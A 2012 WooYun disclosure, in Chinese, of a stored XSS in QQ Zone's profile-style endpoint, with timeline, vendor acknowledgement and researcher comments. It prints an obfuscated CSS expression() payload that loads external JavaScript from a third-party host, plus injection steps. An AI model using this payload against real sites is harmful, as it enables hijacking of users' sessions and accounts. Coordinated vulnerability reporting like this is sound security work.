QQ空间存储型XSS

漏洞概要

缺陷编号:WooYun-2012-05967

漏洞标题:QQ空间存储型XSS

相关厂商:腾讯

漏洞作者:gainover

提交时间:2012-04-12 11:08

公开时间:2012-05-27 11:09

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2012-04-12: 细节已通知厂商并且等待厂商处理中
2012-04-13: 厂商已经确认,细节仅向厂商公开
2012-04-23: 细节向核心白帽子及相关领域专家公开
2012-05-03: 细节向普通白帽子公开
2012-05-13: 细节向实习白帽子公开
2012-05-27: 细节向公众公开

简要描述:

今天收到了腾讯的龙年公仔,挺酷,比之前那个小公仔帅多了。俺空间小号之前做测试的时候,把一些能写入自定义内容的位置,都写了诸如</script> , ><"\/ 之类的东东 ,今天进空间,习惯性的看了下源代码。 发现我以前写入的 </script> 直接以 <\/script> 的形式出现在了源码里。。 于是就。。QQ空间开发人员进行产品更新时大意了,无洞变有洞了。

详细说明:

1. 问题出在保存空间样式上。 问题URL:http://w.qzone.qq.com/cgi-bin/scenario/save_scenario_v62. 有问题的参数:diytitle3. 测试环境: Win7 + IE6, 7 | 由于代码是插入在CSS里的,因而只能用expression,因而造成IE版本限制。4. 测试代码:expression(if(!window.x){window.x=1;var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);});color:#ff00cc5. post数据时,将diytitle修改为以上数据, 需要encodeURIComponent编码。6. 保存成功后。 查看QQ空间源码。 有以下内容,<style type="text/css">.lay_headContainer .fn_info h1 {color:expression(if(!window.x){window.x=1;var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);});color:#ff00c !important;} ... 之后省略N个字..

漏洞证明:

被插入的代码:

IE7 下调用外部JS成功,如下图:

修复方案:

我记得之前,我想从 diytitle 入手的时候,都过滤的挺好的。。 之前那个函数如下 :function initDiyTitleStyle(){var c=(g_diyTitle||'').split('|'),c0=c[0],c1=c[1],c2=c[2],ar=[],re=/^[0-9a-f\(\)rg\#\,\.]{4,30}$/i;return ['<style type="text/css">',c0&&re.test(c0)&&('.lay_headContainer .fn_info h1 {color:'+c0+' !important;}')||'',c1&&re.test(c1)&&('.lay_headContainer .description span {color:'+c1+' !important;}')||'',c2&&re.test(c2)&&('#headContainer .fn_info .url {color:'+c2+' ;}')||'','</style>'];};现在怎么换成直接输出css了,貌似把原来的这个split("|")的过程搞到服务器端了,反而带来了漏洞。 你们自己看着改吧!!

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-04-13 10:37

厂商回复:

非常感谢您的报告。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    我信这个大牛胜于信 禽兽大叔

  2. 2010-01-01 00:00 gainover 白帽子 | Rank:1331 漏洞数:97)

    @xsser 。。 这个,纯粹碰运气,不小心捞到的。

  3. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @gainover 谦虚了,3/5都是精华

  4. 2010-01-01 00:00 gainover 白帽子 | Rank:1331 漏洞数:97)

    @xsser 这些都只是些XSS的利用,真正厉害的,应该是像这种文章 《Protecting Browsers from Cross-Origin CSS Attacks》 里的开创新的工作, 一死死一遍。 这篇文章好像还是从你给你的 这个 WooYun: 微软IE浏览器字符集判别缺陷+不严谨的json使用=通用xss 里面的链接点进去看到的~~

  5. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @gainover 分享都值得赞美 :)

  6. 2010-01-01 00:00 一刀终情 白帽子 | Rank:154 漏洞数:27)

    洞主,专攻腾讯那

  7. 2010-01-01 00:00 gainover 白帽子 | Rank:1331 漏洞数:97)

    @一刀终情 这是整天玩QQ的结果

  8. 2010-01-01 00:00 youstar 白帽子 | Rank:34 漏洞数:8)

    天天玩软件,总会找到洞滴

  9. 2010-01-01 00:00 Vty 白帽子 | Rank:165 漏洞数:21)

    牛逼枪火